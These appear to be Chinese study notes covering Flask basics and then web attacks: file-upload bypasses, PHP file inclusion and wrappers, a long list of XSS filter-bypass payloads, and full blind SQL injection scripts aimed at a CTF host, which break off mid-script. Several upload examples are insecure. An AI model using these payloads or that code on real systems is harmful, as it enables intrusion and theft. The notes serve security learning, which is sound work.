	from app import create_app
	app = create_app()
	if __name__ == '__main__':
	app.run(debug=True)

route.py 示例

	from flask import Blueprint
	bp = Blueprint('main', __name__)
	@bp.route('/')
	def home():
	return 'Hello, World!'

_init_.py 示例

	from flask import Flask
	def create_app():
	app = Flask(__name__)
	app.config.from_object('config.Config')
	from . import routes
	app.register_blueprint(routes.bp)
	return app

# flask 路由

# 动态部分

	@app.route('/greet/<name>')
	//这样可以将这一部分当做参数传给函数，比如：
	def greet(name):
	return f'Hello, {name}!'

# 路由规则

路由规则支持不同类型的参数和匹配规则

字符串（默认），整数（<int:name>），浮点数（<float:value>），路径（<path:name>）

	@app.route('/user/<int:user_id>') //这样就不会全部都当作内容
	def user_profile(user_id):
	return f'User ID: {user_id}'
	@app.route('/files/<path:filename>')
	def serve_file(filename):
	return f'Serving file: {filename}'

# 请求方法

@app.route('/submit', methods=['POST'])

# 路由转换器

还是那仨

@app.route('/items/<int:item_id>/details')

# 路由函数返回

通过视图函数（基本等同，只是路由函数要 url 映射）可以返回：

# 路由优先级

按照定义顺序

# 视图函数

# 接受数据

	@app.route('/greet/<name>') #url
	@app.route('/submit', methods=['POST']) #POST
	def submit():
	username = request.form.get('username')
	return f'Form submitted by {username}!'
	@app.route('/search') #GET
	def search():
	query = request.args.get('query') //获取 GET 请求中的查询参数query
	return f'Search results for: {query}'

# 返回响应

	return 'This is a simple message.'
	return render_template('hello.html', name=name) //记得导入render_template
	def api_data(): //要导入jsonify
	data = {'key': 'value','key2':'value2'}
	return jsonify(data)
	//自动序列化，将 Python 数据类型（如字典、列表、字符串等，但不是全部）转换为 JSON 格式
	//会自动设置Content—Type,支持多参数，自动合并为一个json对象
	比如：
	return jsonify(
	message="Hello, World!",
	status=200,
	data=[1, 2, 3, 4]
	)

还可以用来：

设置状态码

return jsonify({"error": "Not Found"}), 404

返回自定义响应头

	def custom_response():
	response = Response('Custom response with headers', status=200)
	#创建自定义响应对象
	response.headers['X-Custom-Header'] = 'Value'
	return response

# 处理请求和响应

视图函数可以访问请求对象

使用 request 对象来获取请求的信息，使用 make_response 来创建自定义响应

	def info():
	user_agent = request.headers.get('User-Agent') //有点规律，我说命名
	return f'Your user agent is {user_agent}'

	def custom_header():
	response = make_response('Response with custom header')
	response.headers['X-Custom-Header'] = 'Value'
	return response

# 处理错误

	@app.route('/divide/<int:x>/<int:y>')
	def divide(x, y):
	try:
	result = x / y
	return f'Result: {result}'
	except ZeroDivisionError:
	return 'Error: Division by zero', 400 //当然，状态码，可自定义
	//可以返回jsonify格式：
	return jsonify({
	'error': 'Division by zero',
	'message': 'The divisor cannot be zero.'
	}), 400
	结构化响应：
	def error_response(message, status_code):
	return jsonify({
	'error': {
	'message': message,
	'status_code': status_code
	}
	}), status_code
	使用时：
	return error_response('Invalid email format', 400, 'INVALID_EMAIL')

	全局错误处理：
	@app.errorhandler(404) //定义处理404的函数
	def not_found(error):
	return 'Page not found', 404

# 视图函数的装饰器

@app.before_request ：在每个请求处理之前运行的函数。
@app.after_request ：在每个请求处理之后运行的函数。
@app.teardown_request ：在请求结束后运行的函数，用于清理工作。

# 视图函数返回的状态码

指定状态码（就上面那个）:

return 'Everything is OK', 200

返回带状态码的对象：

return Response('An error occurred', status=500)

# 模板渲染

# 创建

{{ title }} 和 {{ name }} 是模板占位符，将在渲染时被替换成实际的值

return render_template('index.html', title='Welcome Page', name='John Doe') //可以传入对象

# 继承

基础模板：

	<title>{% block title %}My Website{% endblock %}</title>
	<main>
	{% block content %}{% endblock %} 可替换区域
	</main>

子模板：

{% raw %}
{% extends "base.html" %}  //继承基础模板
{% block title %}Home Page{% endblock %}  //重写替换区域的内容
{% block content %}
Welcome to the Home Page!
Content goes here.

{% endblock %}
{% raw %}

# 控制结构

{% if user %}
{% else %}
{% endif %}

{% for item in items %}
{% endfor %}

# 过滤器

处理变量用

{{ name|capitalize }}：将 name 变量的值首字母大写。

{{ price|round(2) }}：将 price 变量的值四舍五入到小数点后两位。

# 可能有用的

字符串处理

过滤器	功能描述	示例输入	输出结果
`lower`	转换为小写	`"Hello"`	`"hello"`
`upper`	转换为大写	`"world"`	`"WORLD"`
`title`	每个单词首字母大写	`"hello world"`	`"Hello World"`
`trim`	去除前后空格	`" flask "`	`"flask"`
`striptags`	去除 HTML/XML 标签	`"Hello Flask"`	`"Hello Flask"`
`truncate`	截断字符串（超出长度后追加省略号）	`"long text here" (length=5)`	`"long..."`
`replace(a, b)`	替换字符串中的子串	`"hello", "h", "j"`	`"jello"`
`safe`	标记为安全内容（不转义 HTML）	`"Hello Flask"`	渲染为 `Flask`

# 数值操作

过滤器	功能描述	示例输入	输出结果
`round`	四舍五入	`3.14159`	`3`
`int`	转换为整数	`"42"`	`42`
`float`	转换为浮点数	`"3.14"`	`3.14`
`format`	格式化数值	`1000, "0,.2f"`	`"1,000.00"`
`default`	设置默认值（变量不存在时使用）	`undefined_var, "N/A"`	`"N/A"`

# 日期时间

过滤器	功能描述	示例输入（Python datetime 对象）	输出结果
`datetimeformat`	格式化日期时间	`now(), "%Y-%m-%d %H:%M"`	`"2023-10-01 14:30"`
`date`	提取日期部分	`now()`	`"2023-10-01"`
`time`	提取时间部分	`now()`	`"14:30:45"`
`timedelta`	计算时间差	`start_date, end_date`	`"3 days, 2 hours"`

# 列表 / 字典操作

过滤器	功能描述	示例输入	输出结果
`length`	获取列表 / 字符串长度	`[1, 2, 3]`	`3`
`sort`	对列表排序	`[3, 1, 2]`	`[1, 2, 3]`
`reverse`	反转列表	`[1, 2, 3]`	`[3, 2, 1]`
`join`	连接列表元素	`["a", "b"], "-"`	`"a-b"`
`keys`	获取字典的键列表	`{"a": 1, "b": 2}`	`["a", "b"]`
`values`	获取字典的值列表	`{"a": 1, "b": 2}`	`[1, 2]`

# 逻辑判断

过滤器	功能描述	示例输入	输出结果
`if`	条件判断	`user.is_authenticated`	根据条件渲染内容
`default`	变量不存在时使用默认值	`username, "Guest"`	`"Guest"` （若 username 未定义）
`none`	判断是否为 `None`	`value`	`true` 或 `false`
`defined`	判断变量是否存在	`undefined_var`	`false`

# 其他实用过滤器

过滤器	功能描述	示例输入	输出结果
`pprint`	格式化输出（用于调试）	`{"a": 1, "b": 2}`	美观缩进的 JSON 格式
`markdown`	将 Markdown 转换为 HTML	`"# Hello\nFlask"`	渲染后的 HTML 内容
`urlencode`	对 URL 进行编码	`"https://example.com?q=test"`	编码后的字符串
`regex_replace`	使用正则表达式替换	`"a1b2c3", "[0-9]", ""`	`"abc"`

# 链式调用示例

	{{ " hello world "\|trim\|title\|replace(" ", "-") }}
	<!-- 输出："Hello-World" -->

# 八。自定义过滤器

在 Flask 中可以注册自定义过滤器：

	@app.template_filter('reverse')
	def reverse_filter(s):
	return s[::-1]
	<!-- 模板中使用 -->
	<!--swig18--> → "olleh"

# 宏和模板包含

将在一个 html 文件中插入另一个的内容

# 创建宏

	{% raw %}
	{% macro render_item(item) %} {{ item.title }} {{ item.description }} {% endmacro %}
	{% raw %}

	{% raw %}
	{% from "macros.html" import render_item %} //导入宏
	{% for item in items %} {{ render_item(item) }} //用宏渲染每个item {% endfor %}
	{% raw %}

# 模板上下文

传递的参数可以直接用

# 表单处理

获取就是上面的 request.form.get('name')

[Flask-WTF 表单]( Flask 表单处理 | 菜鸟教程 )，用于防 CSRF, 可以进行表单验证。PS: 懒得看了～(这就是不学的理由？)

# 文件上传

通过 request.files 访问。改一下编码类型（这真的需要自己改么......）

	from flask import Flask, request, redirect, url_for
	app = Flask(__name__)
	app.secret_key = 'your_secret_key'
	@app.route('/upload', methods=['POST'])
	def upload():
	file = request.files.get('file')
	if file:
	filename = file.filename //获取原始文件名
	file.save(f'uploads/{filename}')
	return f'File uploaded successfully: {filename}'
	return 'No file uploaded'
	if __name__ == '__main__':
	app.run(debug=True)

通过 request.files.get('file') 尝试从请求中获取名为 file 的文件对象。 request.files 是一个字典，存储了所有上传的文件

使用 file.save() 方法将文件保存到 uploads 目录下，文件名保持不变

文件上传漏洞

2025-02-15T14:21:23.000Z

# 文件

# 奇怪的要求～

1、请大家写一个文件上传的表单，用于向服务端上传文件，并用 php 作为后端，抓包分析这个请求体的结构是什么样的呢？

<!-- 前端表单 -->
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="myfile">
    <input type="submit">
</form>

<!-- PHP后端 upload.php -->
<?php
move_uploaded_file($_FILES['myfile']['tmp_name'], 'uploads/'.$_FILES['myfile']['name']);

对于前端的部分:

action="upload.php" 是将数据提交到目标 url，由该 php 文件处理（也就是说要注意路径可以绝对可以相对，如在上级，可用../upload.php）

enctype="multipart/form-data" 是指定传输过程中的编码类型

其中包括：

application/x-www-form-urlencoded

使用 url 编码，是默认的方式，只能文本数据，存在于 HTTP 请求体

multipart/form-data

上传文件必用，会把数据分为多个部分（文本或二进制，所以非文本都是使用二进制文件，不能使用其他编码方式）

text/plain

纯文本传输，原始格式不变，键值间等号连接，没有封装或编码

对于后端的部分:

move_uploaded_file()

是 php 内置函数，移动文件，接受俩参数

$_FILES['myfile']['tmp_name'] ：

$_FILES 是超全局数组，用于处理上传的文件。

myfile 是 name 属性值。

['tmp_name'] 是临时存储路径。

['name'] 是文件名

(不只这个键，但键是固定的，不是按照实际填，它是返回实际)

后面一个参数通过拼接字符串构造要移动到的路径

	POST /upload.php HTTP/1.1
	Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

	------WebKitFormBoundaryABC123
	Content-Disposition: form-data; name="myfile";
	//头部字段，前一个表示是表单数据
	filename="test.txt" //原始文件名
	Content-Type: text/plain

	文件内容在这里...
	------WebKitFormBoundaryABC123--

boundary 是 multipart/form-data 的参数，定义用于区分请求体各个部分的分隔符。

2、怎样去指定上传目录（如 /tmp）s，在这种情况下你有什么招能让木马文件落地在 web 目录（假设为 /var/www/html）呢？

可以是.sh,.bin,.php,.asp/aspx (windows 服务器上的同名应用程序可执行),.jsp (基于 java 的 web 程序)

路径穿越攻击

这是因为上面的拼接路径导致的

由于文件名直接拼接所以如果文件名本身是个路径，也会直接拼接进去

（所以可以通过构造../../../../../shell.php，不断向上层目录移动）

符号链接 (软链接) 攻击

类似于快捷方式
ln -s /var/www/html /tmp/link
这样原本写入 /tmp 的会直接到 /var/www/html（要构造成 link/shell.php）

PHP 路径处理缺陷攻击

类似于路径穿越，但是不一定要用../，可以去敏感路径

包括：

Web 根目录

Apache 服务器

/var/www/html

C:\wamp\www （Windows 系统使用 WampServer 时）

Nginx 服务器

/usr/share/nginx/html

可执行脚本目录

/usr/local/bin 或 /usr/bin

C:\Windows\System32

3、学一下 php 的 eval () 函数的用法，并写点什么好玩的～，如何在 php 中执行系统命令呢？比如 ls

echo 不只是回显，其中的命令也会执行

比如 echo system ('ls -l')

所以......

system($input); > shell.txt

4、在上传文件又要传递一个 POST 参数，此时请求包的参数是什么样的？

分割符下又多了几个，对于非文本，上面的文件内容都是二进制数据

5、你能在 js 的层面限制只能上传图片吗？

使用事件侦听器

document.querySelector('input[type="file"]').addEventListener('change', function(e) {
    const file = e.target.files[0];
    if (!file.type.startsWith('image/')) {
        alert('仅允许上传图片！');
        e.target.value = '';
    }
});
startsWith: 用于匹配开头

e.target.files [0]:e.target 是触发的标签，files 表示其中的文件，[0] 表示第一个

e 是传入的事件对象 value 是选择框，最后就是清空，让用户重选

PS:<input> 有 accept 属性 ( accept="image/*" )，但是可以被绕过

另外 AI 给的玩意儿：

	document.querySelector('input[type="file"]').addEventListener('change', function (e) {
	const file = e.target.files[0];
	const imageRegex = /^image\/(jpeg\|png\|gif\|bmp)$/;
	if (!imageRegex.test(file.type)) {
	alert('仅允许上传 JPEG、PNG、GIF 或 BMP 格式的图片！');
	e.target.value = '';
	}
	});
	/test 方法就是用来检测是否匹配正则的，^ 表示字符串开始，$ 表示结束 /
	document.querySelector('input[type="file"]').addEventListener('change', function (e) {
	const file = e.target.files[0];
	const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif'];
	const fileExtension = '.' + file.name.split('.').pop().toLowerCase();
	if (!allowedExtensions.includes(fileExtension)) {
	alert('仅允许上传 JPEG、PNG 或 GIF 格式的图片！');
	e.target.value = '';
	}
	});

至少某个软件是使用扩展名区分的......

6、请你利用请求包中 Content-Type 头检测文件的是否是图片

	$allowed = ['image/jpeg', 'image/png'];
	if (!in_array($_FILES['file']['type'], $allowed)) {
	die('文件类型不符');
	}
	//[type] 就是返回文件的 MIME

7、常见的图片类型（jpg,png,gif）的文件头有什么特征？试着在你的防护中加入对应的检测

jpg:FF D8 结尾是 FF D9

png:89 50 4E 47 0D 0A 1A 0A

gif:47 49 46 38 39 61 (GIF89a，但实际上后面三个是版本)

	function checkFileHeader($file) {
	$headers = [
	'jpg' => "\xFF\xD8\xFF",
	'png' => "\x89\x50\x4E\x47",
	'gif' => "GIF89a"
	];// 定义关联数组
	$content = file_get_contents($file);
	foreach ($headers as $type => $header)
	// 这种写法适用于关联数组的遍历，as 后的就是临时变量，存储读取的键值
	{
	if (strpos($content, $header) === 0) return $type;
	}//strpos 用于查找字符串中首次出现指定子字符串的位置
	// 默认从零 (首位) 开始，返回数字 (第几位)，默认从头开始，也可再加参数指定
	// 没有返回 false
	return false;
	}

8、请你写一个能够过滤.php 后缀的 waf

	$filename=$_FILES['file']['name']
	$fileExtension=pathinfo($filename,PATHINFO_EXTENSION);
	if(strtolower($fileExtension)==='php'){
	echo '你在干什么？'
	}else{
	move_uploaded_file($file['tmp_name'], 'uploaded/');
	echo '是的，就是这样。'
	}
	/*pathinfo (string $path, int $options)
	options 可选：
	PATHINFO_DIRNAME：返回文件所在的目录名。
	PATHINFO_BASENAME：返回文件的基本名称（包含扩展名）。
	PATHINFO_EXTENSION：返回文件的扩展名。
	PATHINFO_FILENAME：返回文件的基本名称（不包含扩展名）

	不指定 option 返回关联数组，否则字符串 */
	不如直接判断MIME（application/x-php或者text/x-php）
	有时也用file($_FILES['file']['tmp_name'])
	而不是$_FILES['file']['type']
	来获取MIME
	但是MIME可以伪造

9、请你使用 file_put_content () 来实现一次文件上传到指定目录

file_put_contents('uploads/'.$_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));

10、文件上传除了导致 php 代码执行，还可能导致什么漏洞？

任意文件覆盖漏洞，目录遍历漏洞（要能路径穿越），拒绝服务（DoS）攻击（上传大量垃圾），XSS（存储型），文件包含漏洞（上传包含恶意代码的 PHP 文件，然后构造请求让程序包含这个恶意文件，需要页面本身会动态包含上传文件）

11、为后续做个铺垫，请你想办法捕捉到文件上传瞬间临时目录（Linux 下是 /tmp）下的文件变化（动作要快，姿势要帅，临时文件消失快）

使用 inotify 监控 /tmp 目录

	sudo apt install inotify-too #安装
	inotifywait -m -e create /tmp #监控目录文件创建事件
	#-m 持续监控，而不是一个就退出
	#-e create 指定监控的事件为创建

# 文件上传

临时的副本文件会在脚本结束时消失。

要保存被上传的文件，需要用 PHP 的 copy () 函数将它复制到其它位置

其他：

$_FILES 数组内容如下:

$_FILES ['myFile']['name'] 客户端文件的原名称。

$_FILES ['myFile']['type'] 文件的 MIME 类型，需要浏览器提供该信息的支持，例如 "image/gif"。

$_FILES ['myFile']['size'] 已上传文件的大小，单位为字节。

$_FILES ['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在 php.ini 的 upload_tmp_dir 指定，但用 putenv () 函数设置是不起作用的。

$_FILES ['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明：(它们在 PHP 4.3.0 之后变成了 PHP 常量。)
UPLOAD_ERR_OK - 值：0; 没有错误发生，文件上传成功。 
UPLOAD_ERR_INI_SIZE - 值：1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。 
UPLOAD_ERR_FORM_SIZE - 值：2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。 
UPLOAD_ERR_PARTIAL - 值：3; 文件只有部分被上传。 
UPLOAD_ERR_NO_FILE - 值：4; 没有文件被上传。 
UPLOAD_ERR_NO_TMP_DIR -其值为 6，找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
UPLOAD_ERR_CANT_WRITE - 其值为 7，文件写入失败。PHP 5.1.0 引进。

# 漏洞

# 扩展名

一个前端的限制：

可以抓包改后缀 / 禁用 JS 来绕过～

后端的限制，可以黑 / 白名单：

	$temp=explode(".",$_FILE['file']['name']);
	$file_ext=end(temp);
	$allow_ext=array('php','asp','aspx');
	if (in_array(strtolower($file_ext),$allow_ext)){
	echo 'POTATOWO';
	move_uploaded_file('uploads/'.$_FILES['file']['name'],$_FILES['file']['temp_name']);
	}else{
	echo '还是太善良了'
	}

然后是 CSDN 上的：

trim (): 用于去除字符串首尾的字符，默认是去空格，它在 JS 中是一个方法

欸？为什么不用 pathinfo 呢？我也不清楚

# MIME

上面说了。可以伪造，用 bp 修改 header

# 文件头

幻术头字节是文件头的一部分，用于表示文件类型，文件头本身可能包含其他信息，比如图片的位深等

# 常见的

绕过

对于 PHP 的文件由于 <?php ...php> 之前的都会被当成 html，所以写 php 文件前先乱写点什么

# 文件包含

注入型漏洞

包含是指调用被写在单个文件中的可重复使用函数

漏洞出现于用户可选要包含的文件

攻击者修改文件位置来执行任意文件

# 常用的函数

require (): 找不到被包含的文件会产生致命错误，并停止脚本运行
include (): 找不到被包含的文件只会产生警告，脚本继续执行
require_once () 与 require () 类似：唯一的区别是如果该文件的代码已经被包含，则不会再次包含
include_once () 与 include () 类似：唯一的区别是如果该文件的代码已经被包含，则不会再次包含

它们的参数都是路径

对于 PHP 来说，无论执行的文件是什么玩意儿，只要其中有 PHP 代码，就会执行

# 本地文件包含（LFI）

就是打开本地的文件，可以用于获取敏感信息

例如：

显而易见，你可以用来执行文件上传漏洞的 webshell

你可以它放在被包含的路径上

# 包含 Apache 日志文件

如果没有上传但是包含，而且日志可读且已知路径

每次访问的 url 都会被记录到 access.log

发生错误就记录到 error.log

你可以在 url 中写 PHP 让它记录下来

（注意：会被编码，记得 bp 抓包改报文）

然后包含该日志

有趣的是，执行的结果会替换在日志中的对应语句的 url 中（存疑）

# 包含 SESSION 文件

SESSION 中有可控变量，并且可以读写，知道路径

# 包含临时文件

就是传说中的上传后的临时文件

Linux 是 /tmp

Windows 是 C:\windows\temp

因为 Linux 的随机函数有缺陷，windows 只要 65535 种情况，所以一般暴力猜解

文件名

也可以看 phpinfo 页面的 php variables 直接获取上传文件的存储路径和临时文件名

---- 但是必须在该 PHP 文件执行结束前就完成所有操作

# 远程文件包含（RFI）

需要配置选项 allow_url_include 和 allow_url_fopen 状态为 on

反正就是可以包含其他服务器上的文件

你可以用 %00 (php 版本小于 5.3.4) 或者？来截断 url

（如果有需要去掉后端本身可能存在的拼接内容）

# PHP 伪协议

# file://

访问本地文件，不受 allow_url_fopen/include 影响

需要绝对路径（包括文件名）

# php://

访问输入输出流

php://filter 读取源代码，base64 输出 (不这样会被直接执行，当你访问文件时)

php://input 执行 php 代码（具体代码是请求体中的，不是 url，自己用 bp 加，需要 <>）

不受 allow_url_fopen/include 影响（input 要求 include 是 on）

# ZIP://

访问压缩包里的文件，只能绝对路径

分割符（分割路径和包内文件） # 要用 url 编码成 %23

不受 allow_url_fopen/include 影响

类似的：

zlib://，bzip2://

无所谓后缀名

# data://

类似于 php://input，但是

allow_url_fopen/include 必须都是 on

XSS

2025-02-05T08:30:11.000Z

# 类型

# 存储型 XSS

一般是将恶意代码通过交互界面上传到后端，然后从而上传到数据库中，当管理员 admin 查询数据库的信息时，恶意脚本又从后端到了前端，这也就是存储型 XSS 的数据流通。

// 后端要存储到数据库中

# 测试

在评论区中输入 <script>alert (1)</script > 能够成功弹窗

# 反射型 XSS

需要欺骗用户自己去点击链接才能触发 XSS 代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。大多数是用来盗取用户的 Cookie 信息。

// 前端显示了我们的输入

例如

<p> 您好，<?php echo $_GET ['name']; ?>！</p>

# 测试

同上输入

# DOM 型 XSS

在前端 url 添加我们的恶意脚本，然后直接在页面输出了

// 前端通过 javascript 直接输出了我们的输入

# 测试

xxxx/?name=<script>alert(1)</script>

# 对象

# 注释

	<!--
	<script>
	alert ('XSS 攻击成功！');
	</script>
	-->

# 标签属性

<img src="image.png" onerror="<script>alert('potatowo')</script>">

# 标签属性名

<input type="text" onclick="alert('Evi1s7')" name="><script>alert('XSS攻击成功！')</script>">

# 标签名

<<script>alert('potatowo')</script>img src="image.png">

# CSS

<div style="background-image:url('javascript:alert(`Evi1s7`)');">

# HTTP 响应

？？

在 HTTP 协议中，CRLF 被用来分隔 HTTP 请求和响应中的各个部分。

CRLF 漏洞（ HTTP 报头注入漏洞），攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体，一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容，从而实现恶意操作。

比如一个 GET 传参
exp:?key=aaa
如果存在 CRLF 漏洞，那么就可以：
?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)>
利用 CRLF 漏洞将 http 包分为 header 和 body，进而执行 body 中的代码，实现 XSS

可以在 httpheader 中注入 X-XSS-Protection:0 来绕过浏览器的过滤规则

# 绕过

# 关键词绕过

# 1. 大小写绕过

源代码中用了 strtolower () 等函数

xxx?q=<sCriPt>alert(1)<sCriPt>

# 2. 拼接绕过

# 2.1 eval

eval('al'+'ert(1)')

# 2.2 top

top['al'+'ert'](1)

# 2.3 window

top['al'+'ert'](1)

# 2.4 self

self[`al`+`ert`](1)

# 2.5 parent

parent[`al`+`ert`](1)

# 2.6 frames

frames[`al`+`ert`](1)

# 3. 函数替换

eval(alert(1))

open(alert(1))

document.write(alert(1))

此外还有：

setTimeout()

setInterval()

Set.constructor()

Map.constructor()

Array.constructor()

WeakSet.constructor()

[1].map()

[1].find()

[1].every()

[1].fliter()

[1].forEach()

[1].findIndex()

# 4. 嵌套绕过

<sc<script>ript>alert('Evi1s7')</sc</script>ript>

# 5. 赋值绕过

<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> #在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

看不懂是这样的

# 编码绕过

# 1.html 实体编码转义

<a href=javascript:alert(1)>aaa</a>

改成（填充 0）

<a href=&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029>aaa</a>

# 2.url 编码绕过

存在 href 属性或者 src 属性，才可以利用 url 编码转义

注意：在 url 解析过程中，不能对协议类型进行任何的编码操作

<a href=javascript:alert(1)>Evi1s7</a>

改成

<a href=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</a>

src:<script><img><iframe><audio><video>

href:<a><link><base><area>

# 3. 空格绕过

在 html 的标签中的不同位置的空格绕过方式不是一样的
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
A 位置： /，/123/，%09，%0A，%0C，%0D，%20

B 位置：%09，%0A，%0C，%0D，%20

C 位置：%0B，/**/ （如果加了双引号，则可以填充 %09，%0A，%0C，%0D，%20）

D 位置：%09，%0A，%0C，%0D，%20，//，>

# 4.() 绕过

# 1. 利用反引号

<script>alert`1`</script>

# 2.throw 绕过

	<script>alert;throw 1</script>
	<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

# 5. 单引号过滤

使用 / 或者 ` 替代

# 6.alert 过滤绕过

prompt() / confirm() / console.log() / document.write()

或者利用编码绕过

	<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
	#alert(1)
	<a href=javascript:%61%6c%65%72%74%28%31%29>aaa</a>
	#alert(1)

# 7. 长度限制

拆分法

	<script>a='document.write("'</script>
	<script>a=a+'<a href=ht'</script>
	<script>a=a+'tp://VPS-IP:po'</script>
	<script>a=a+'rt>Evi1s7</a>")'</script>
	<script>eval(a)</script>

利用 eval () 函数将字符串解析为可执行的代码，从而进行拼接

document.write("<a href=http://VPS-IP:port>Evi1s7</a>")

# 8. 分号绕过

换成 {}

SQL注入

2025-02-04T14:21:23.000Z

# 重要的玩意儿

注入一定要注释后面的，使用 -- 时注意前后要空格，要不然滚去用 #

information_schema.tables 是自带的数据库

其中有三个表，分别是：

1. schemata

其中只有一个字段

schemata_name 存放所有库的库名

2. tables

俩字段

tables_schema 存放所有库的库名

table_name 存放所有表名

3. column

三个字段，前两个同 tables（完全一样，不用改名）

column_name 存放所有的字段名

# 直接套用

都是使用二分法来找

# 时间盲注

	import requests
	import time

	# 目标 URL
	url = 'http://challenge.ctf.rois.team:30181/'

	# 提取表名
	def extract_table_name():
	result = ""
	table_index = 0 # 表的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_table = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造时间盲注 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT {table_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	start_time = time.time()
	r = requests.post(url, data=payload)
	end_time = time.time()
	elapsed_time = end_time - start_time
	if elapsed_time >= 3:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前表名
	break
	current_table += chr(head)
	char_index += 1

	if not current_table: # 无更多表时退出循环
	break
	result += current_table + "\n"
	table_index += 1

	return result

	# 提取列名
	def extract_column_name(table_name):
	result = ""
	column_index = 0 # 列的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_column = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造时间盲注 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}' LIMIT {column_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	start_time = time.time()
	r = requests.post(url, data=payload)
	end_time = time.time()
	elapsed_time = end_time - start_time
	if elapsed_time >= 3:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前列名
	break
	current_column += chr(head)
	char_index += 1

	if not current_column: # 无更多列时退出循环
	break
	result += current_column + "\n"
	column_index += 1

	return result

	# 提取数据
	def extract_data(table_name, column_name):
	result = ""
	data_index = 0 # 数据的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_data = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造时间盲注 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} LIMIT {data_index},1), {char_index}, 1)) > {mid}, SLEEP(3), 0) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	start_time = time.time()
	r = requests.post(url, data=payload)
	end_time = time.time()
	elapsed_time = end_time - start_time
	if elapsed_time >= 3:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前数据
	break
	current_data += chr(head)
	char_index += 1

	if not current_data: # 无更多数据时退出循环
	break
	result += current_data + "\n"
	data_index += 1

	return result

	# 主函数
	if __name__ == "__main__":
	# 提取表名
	print("提取表名中...")
	tables = extract_table_name()
	print("获取到的表名：")
	print(tables)

	# 提取列名
	table_name = input("请输入要提取列名的表名：")
	print(f"提取表 {table_name} 的列名中...")
	columns = extract_column_name(table_name)
	print("获取到的列名：")
	print(columns)

	# 提取数据
	column_name = input("请输入要提取数据的列名：")
	print(f"提取表 {table_name} 中列 {column_name} 的数据中...")
	data = extract_data(table_name, column_name)
	print("获取到的数据：")
	print(data)

# 布尔盲注

	import requests

	# 目标 URL
	url = 'http://challenge.ctf.rois.team:30181/'

	# 提取表名
	def extract_table_name():
	result = ""
	table_index = 0 # 表的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_table = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造注入 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT {table_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	r = requests.post(url, data=payload)
	if "用户名或密码错误" in r.text:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前表名
	break
	current_table += chr(head)
	char_index += 1

	if not current_table: # 无更多表时退出循环
	break
	result += current_table + "\n"
	table_index += 1

	return result

	# 提取列名
	def extract_column_name(table_name):
	result = ""
	column_index = 0 # 列的索引，从 0 开始

	while True:
	char_index = 1 # 字符的索引，从 1 开始
	current_column = ""
	while True:
	head = 0 # ASCII 起始值
	tail = 127 # ASCII 结束值
	while head < tail:
	mid = (head + tail) // 2
	# 构造注入 payload
	payload = {
	'username': f"' OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}' LIMIT {column_index},1), {char_index}, 1)) > {mid}, 0, 1) -- ",
	'password': 'random_password' # 密码字段可以随便填
	}
	r = requests.post(url, data=payload)
	if "用户名或密码错误" in r.text:
	head = mid + 1
	else:
	tail = mid
	if head == 0: # 检测到 ASCII 0 时结束当前列名
	break
